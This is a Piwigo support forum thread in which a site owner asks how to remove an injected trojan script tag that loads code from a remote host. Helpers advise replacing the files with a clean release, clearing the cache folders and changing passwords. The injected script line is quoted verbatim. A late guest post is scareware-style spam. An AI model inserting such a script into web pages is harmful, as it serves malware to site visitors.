Announcement

#1 2013-05-01 20:06:54

kozmob
Member
2012-01-14
45

How do I remove trojan link from piwigo

I am told I have malicious script inserted into the source code of my piwigo. I've gone through google webmaster tools and it tells me the code is this:
<script src="http://nman54appl.rr.nu/nl.php?p=d">

I google that code and confirm it's a trojan but I don't know how to get rid of it without losing data. Can I just reload piwigo? I've considered going into the piwigo and seeing if I can reload the source code but I can't go to the page without being subjected to malicious code.

thanks
Kozmo

Offline

 

#2 2013-05-01 20:16:08

mistic100
Former Piwigo Team
Lyon (FR)
2008-09-27
3271

Re: How do I remove trojan link from piwigo

download Piwigo archive corresponding to your version and overwrite all files with new ones
do the same for each plugins and themes if needed

also, clear the two folders _data/templates_c and _data/combined

Offline

 

#3 2013-05-01 20:17:34

Kalle
Member
2012-08-17
89

Re: How do I remove trojan link from piwigo

You should find the reason of the Contamination and see what files are changed. For example, at the most time the index.php is changed.

For the reload, you can try it with the download version (not the netinstall version) and uploading it via ftp to your webspace. But do this only as the second step. First look at the files. Additionally, you should change ALL passwords and make them secure.

Offline

 

#4 2013-05-02 02:43:17

kozmob
Member
2012-01-14
45

Re: How do I remove trojan link from piwigo

thanks for the help; a couple of followup questions.

First, how do I tell what version I have. I think I'm up to date but not totally sure; I've noticed extension updates recently (and updated them) but haven't seen any Piwigo updates in the last weeks. I can't go into the program to find the version. Is there something in one of the program files that will tell me the version.

Second, if I replace all the files, will my setup and data be left intact?

Offline

 

#5 2013-05-02 07:25:56

mistic100
Former Piwigo Team
Lyon (FR)
2008-09-27
3271

Re: How do I remove trojan link from piwigo

the version is defined in the constant PHPWG_VERSION in the file include/constants.inc.php

no it won't overwrite your data, otherwise I wouldn't recommend you to do it !

Offline

 

#6 2015-08-21 07:20:54

Michael Phelp
Guest

Re: How do I remove trojan link from piwigo

Hello Everyone!! Are you getting infected with Trojan. it will silently sneaks into your computer and will ruin your PC performance. it will easily get inside in your computer and will stole  all your important data , and put your system into vulnerable condition. its high time to remove this harmful Trojan infection, with the help of Automatic Removal Tool, as detected over your system. so, for further info, you should visit:-

 

Board footer

Powered by FluxBB

github twitter facebook google+ newsletter Donate Piwigo.org © 2002-2019 · Contact